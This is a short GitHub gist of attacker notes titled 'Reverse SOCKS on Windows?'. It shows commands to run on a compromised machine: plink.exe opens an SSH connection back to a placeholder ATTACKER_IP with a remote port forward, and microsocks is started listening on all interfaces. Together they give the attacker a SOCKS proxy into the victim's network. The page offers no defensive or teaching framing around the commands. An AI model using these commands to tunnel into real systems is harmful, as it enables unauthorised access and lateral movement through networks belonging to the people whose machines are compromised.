Created
March 5, 2020 20:04
-
-
Save Raikia/42a10ac031fce4caef7c395a5658ed41 to your computer and use it in GitHub Desktop.
Reverse SOCKS on Windows?
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ATTACKER --> VICTIM | |
On victim: | |
plink.exe ATTACKER_IP -p 22 -R 127.0.0.1:1234:VICTIM_IP:9999 -l ATTACKER_USERNAME -pw ATTACKER_PASSWORD | |
^ This will SSH to ATTACKER_IP and create port 1234 on ATTACKER_IP that will forward to VICTIM_IP port 9999 | |
Then on victim again, run microsocks (https://github.com/rofl0r/microsocks, from the same guy who maintains proxychains) | |
microsocks -i 0.0.0.0 -p 9999 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
microsocks compilation in windows described here: rofl0r/microsocks#4